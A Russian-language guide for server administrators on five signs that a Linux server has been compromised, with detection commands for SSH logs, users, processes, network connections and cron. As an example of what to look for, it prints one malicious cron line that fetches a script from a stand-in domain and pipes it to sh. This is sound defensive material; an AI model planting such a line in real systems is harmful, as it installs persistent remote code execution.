Взлом сервера не всегда выглядит очевидно. Иногда сайт продолжает работать, SSH доступен, нагрузка кажется нормальной, но на сервере уже может быть вредоносный процесс, неизвестный пользователь, скрытый cron-запуск или исходящий трафик на подозрительные адреса.
В кибербезопасности такие признаки называют indicators of compromise — следами, которые могут указывать на взлом, заражение или несанкционированный доступ. Такие признаки обычно ищут в логах, процессах, сетевых соединениях и изменениях в системе.
1. Подозрительные входы по SSH
Первое, что стоит проверить, — кто и когда входил на сервер. Частый признак компрометации — успешный вход с неизвестного IP, в необычное время или под пользователем, который не должен использоваться.
Проверить последние входы:
last
Проверить неудачные попытки входа:
sudo lastb
Проверить SSH-логи на Debian/Ubuntu:
sudo grep "Accepted" /var/log/auth.log
sudo grep "Failed password" /var/log/auth.log
Через journalctl:
sudo journalctl -u ssh --since "24 hours ago"
На что обратить внимание:
- успешный вход с неизвестного IP;
- вход под root, если root login должен быть отключён;
- много неудачных попыток входа;
- вход в необычное время;
- вход пользователя, которого вы не создавали.
Если вы видите успешный вход с неизвестного IP, это уже серьёзный повод считать сервер потенциально скомпрометированным.
2. Неизвестные пользователи, SSH-ключи или sudo-доступ
После получения доступа атакующий часто пытается закрепиться в системе: создать нового пользователя, добавить SSH-ключ, выдать себе sudo-права или изменить существующий аккаунт.
Проверить пользователей с shell-доступом:
awk -F: '$7 ~ /(bash|sh|zsh)$/ {print $1, $7}' /etc/passwd
Проверить пользователей с sudo-доступом:
getent group sudo
Для AlmaLinux/Rocky Linux/CentOS:
getent group wheel
Найти все файлы authorized_keys:
sudo find /home /root -name authorized_keys -type f -print
Проверить содержимое ключей:
sudo cat /root/.ssh/authorized_keys
sudo cat /home/USER/.ssh/authorized_keys
Подозрительные признаки:
- появился неизвестный пользователь;
- у пользователя появились sudo-права;
- в authorized_keys добавлен неизвестный SSH-ключ;
- у root появился ключ, которого раньше не было;
- изменились права на .ssh или authorized_keys.
Важно
Не удаляйте подозрительные данные сразу, если планируете расследование. Сначала сохраните логи и снимки состояния системы.
3. Неизвестные процессы и высокая нагрузка
Если сервер начал сильно нагружать CPU, RAM, диск или сеть без понятной причины, это может быть признаком вредоносной активности. Например, на сервере мог появиться crypto miner, спам-скрипт, proxy, ботнет-клиент или скрипт для атак на другие системы.
Проверить нагрузку:
top (htop, atop)
Проверить процессы:
ps aux --sort=-%cpu | head
ps aux --sort=-%mem | head
Проверить systemd-сервисы:
systemctl --type=service --state=running
systemctl --failed
На что обратить внимание:
- процесс с непонятным именем;
- процесс запущен из /tmp, /var/tmp, /dev/shm;
- сервис, который вы не устанавливали;
- высокая нагрузка без понятной причины;
- процесс работает от имени www-data, nobody или неизвестного пользователя.
Примеры подозрительных путей:
/tmp/.x/
/var/tmp/.cache/
/dev/shm/.run/
Не каждый незнакомый процесс означает взлом, но неизвестный процесс с высокой нагрузкой и странным путём запуска — серьёзный сигнал.
4. Необычные сетевые соединения и открытые порты
Взломанный сервер часто начинает подключаться к внешним IP, отправлять спам, участвовать в DDoS, работать как proxy или открывать новый порт для удалённого управления.
Проверить listening-порты:
sudo ss -tulpn
Проверить активные соединения:
sudo ss -tunap
Посмотреть процессы, которые используют сеть:
sudo lsof -i -P -n
Что должно насторожить:
- открыт неизвестный порт;
- сервис слушает 0.0.0.0, хотя не должен быть публичным;
- есть постоянные соединения к неизвестным IP;
- сервер активно подключается к множеству внешних адресов, особенно на порты 22,25,3390,5900;
- появился неизвестный proxy, tunnel или reverse shell.
NIST в руководстве по incident handling отдельно выделяет анализ данных и определение правильной реакции на инцидент как важную часть обработки инцидентов; на практике сетевые соединения, логи и процессы — одни из первых источников для такой проверки.
5. Подозрительные cron-задачи, автозапуск и изменённые файлы
Атакующие часто добавляют задачу в cron или systemd, чтобы вредоносный скрипт запускался снова после перезагрузки или удаления процесса.
Проверить cron текущего пользователя:
crontab -l
Проверить cron root:
sudo crontab -l
Проверить системные cron-файлы:
sudo ls -lah /etc/cron.d/
sudo ls -lah /etc/cron.hourly/
sudo ls -lah /etc/cron.daily/
Проверить systemd-unit файлы:
systemctl list-unit-files --type=service
Посмотреть недавно изменённые файлы:
sudo find /etc /var/www /tmp /var/tmp /dev/shm -type f -mtime -3 2>/dev/null
Подозрительные признаки:
- cron-задача с curl/wget на неизвестный URL;
- запуск скрипта из /tmp, /var/tmp или /dev/shm;
- новый systemd-сервис с непонятным именем;
- изменённые файлы сайта без вашего участия;
- неизвестные PHP/JS-файлы в директории сайта.
Пример подозрительной строки:
* * * * * curl -fsSL http://unknown-domain.example/run.sh | sh
Что делать, если есть признаки взлома
Если совпал один или несколько пунктов, лучше считать сервер потенциально скомпрометированным.
Минимальные действия:
- не удалять сразу все следы;
- сохранить важные логи;
- ограничить доступ к серверу;
- сменить пароли и SSH-ключи;
- проверить сайты, базы данных и cron;
- сделать backup важных данных;
при серьёзном взломе — переустановить сервер и восстановить только чистые данные.
Важно
Если сервер использовался для платежей, персональных данных или клиентских проектов, лучше проводить полноценное расследование и не ограничиваться удалением подозрительного процесса.
Итог
Это были 5 основных признаков компрометации сервера:
- Подозрительные SSH-входы
- Неизвестные пользователи, ключи или sudo-доступ
- Неизвестные процессы и высокая нагрузка
- Необычные сетевые соединения и открытые порты
- Подозрительные cron-задачи, автозапуск и изменённые файлы
Один признак не всегда доказывает взлом, но несколько совпадений почти всегда требуют срочной проверки. Лучше действовать осторожно: сохранить логи, ограничить доступ, проверить систему и при необходимости перенести проект на чистый сервер.